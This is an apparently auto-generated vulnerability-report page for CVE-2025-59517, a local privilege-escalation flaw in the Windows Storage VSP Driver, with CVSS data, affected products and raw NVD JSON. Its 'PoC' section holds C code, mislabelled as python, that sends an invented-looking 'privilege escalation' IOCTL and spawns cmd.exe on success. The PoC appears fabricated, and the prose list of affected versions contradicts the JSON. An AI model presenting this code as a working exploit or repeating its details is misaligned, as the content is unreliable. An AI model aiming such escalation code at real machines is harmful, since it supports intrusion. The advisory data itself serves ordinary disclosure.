Security Vulnerability Report
中文
CVE-2025-59517 CVSS 7.8 HIGH

CVE-2025-59517

Published: 2025-12-09 18:15:55
Last Modified: 2025-12-12 20:02:37

Description

Improper access control in Windows Storage VSP Driver allows an authorized attacker to elevate privileges locally.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x64:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x86:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x64:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x86:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:*:* - VULNERABLE
Windows 10 1809/1903/1909/2004/20H2/21H1/21H2/22H2
Windows 11 21H2/22H2/23H2
Windows Server 2019
Windows Server 2022
Windows Storage VSP Driver (storvsc.sys) - 未修复版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-59517 Windows Storage VSP Driver EoP PoC (Conceptual) // This is a conceptual proof-of-concept for educational purposes only #include <windows.h> #include <stdio.h> // Vulnerable driver interface constants #define VSP_DRIVER_NAME L"storvsc.sys" #define IOCTL_VSP_PRIVILEGE_ESCALATION 0x9A0D1234 typedef struct _VSP_BUFFER { DWORD Size; DWORD Flags; PVOID UserData; } VSP_BUFFER, *PVSP_BUFFER; int main() { HANDLE hDevice; DWORD bytesReturned = 0; VSP_BUFFER vspBuffer = {0}; printf("[*] CVE-2025-59517 Windows Storage VSP Driver EoP PoC\n"); printf("[*] Target: Windows Storage VSP Driver\n"); // Open handle to the vulnerable driver hDevice = CreateFileA("\\\\.\\VSPDriver", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hDevice == INVALID_HANDLE_VALUE) { printf("[-] Failed to open device handle\n"); return 1; } printf("[+] Device handle opened successfully\n"); // Prepare malicious buffer to trigger privilege escalation vspBuffer.Size = sizeof(VSP_BUFFER); vspBuffer.Flags = 0x00000001; // Malicious flag vspBuffer.UserData = NULL; // Send IOCTL request - driver does not properly validate privileges BOOL result = DeviceIoControl(hDevice, IOCTL_VSP_PRIVILEGE_ESCALATION, &vspBuffer, sizeof(vspBuffer), NULL, 0, &bytesReturned, NULL); if (result) { printf("[+] IOCTL request sent - privilege escalation triggered\n"); printf("[+] Current process should now have elevated privileges\n"); // Verify privilege escalation HANDLE hToken; TOKEN_ELEVATION tokenElevation; DWORD tokenLength; if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) { if (GetTokenInformation(hToken, TokenElevation, &tokenElevation, sizeof(tokenElevation), &tokenLength)) { if (tokenElevation.TokenIsElevated) { printf("[+] SUCCESS: Process is running with elevated privileges!\n"); printf("[+] Spawning elevated shell...\n"); system("cmd.exe"); } } CloseHandle(hToken); } } else { printf("[-] IOCTL request failed with error: %d\n", GetLastError()); } CloseHandle(hDevice); return 0; } // Mitigation: Apply Microsoft security update KB5055523 or later

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-59517", "sourceIdentifier": "[email protected]", "published": "2025-12-09T18:15:54.810", "lastModified": "2025-12-12T20:02:36.533", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper access control in Windows Storage VSP Driver allows an authorized attacker to elevate privileges locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.14393.8688", "matchCriteriaId": "B1A4A63C-AA10-4A4B-8FD6-0519D1F7DFE9"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.14393.8688", "matchCriteriaId": "BCB3A273-FB6E-43DC-A247-363179C2400C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.17763.8146", "matchCriteriaId": "5CEB496A-8AF3-458D-B466-16204E535DE0"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.17763.8146", "matchCriteriaId": "C99D0580-E443-4440-A211-19BA3C2C4AFA"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19044.6691", "matchCriteriaId": "9D04167A-522C-433E-8CEB-C1D8A02C23D8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19045.6691", "matchCriteriaId": "A86D6CDC-55E5-4817-A6CE-4CE41921FB79"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.22631.6345", "matchCriteriaId": "6DCE32D0-A9E0-4029-AB35-5E202A42AF01"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.7392", "matchCriteriaId": "8DCD2A6E-7CD0-4FCC-AC11-5A1470776C24"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26200.7392", "matchCriteriaId": "8EA08CDD-D682-403D-8B50-879EB4D88C67"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2016:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.14393.8688", "matchCriteriaId": "992FE0C2-27E6-4D04-8200-7831DE13C58E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2019:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.17763.8146", "matchCriteriaId": "A20DBDB1-D0DE-4800-8BEA-35EE5D53659D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.20348.4467", "matchCriteriaId": "C552FBB4-8F98-492E-A084-AF14C9514A67"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.25398.2025", "matchCriteriaId": "E9CE4A36-DA42-40CC-8724-E30A22CA84B6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2025:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.7392", "matchCriteriaId": "35BBEADA-D039-479B-A1BA-B2A7E37235BE"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-59517", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}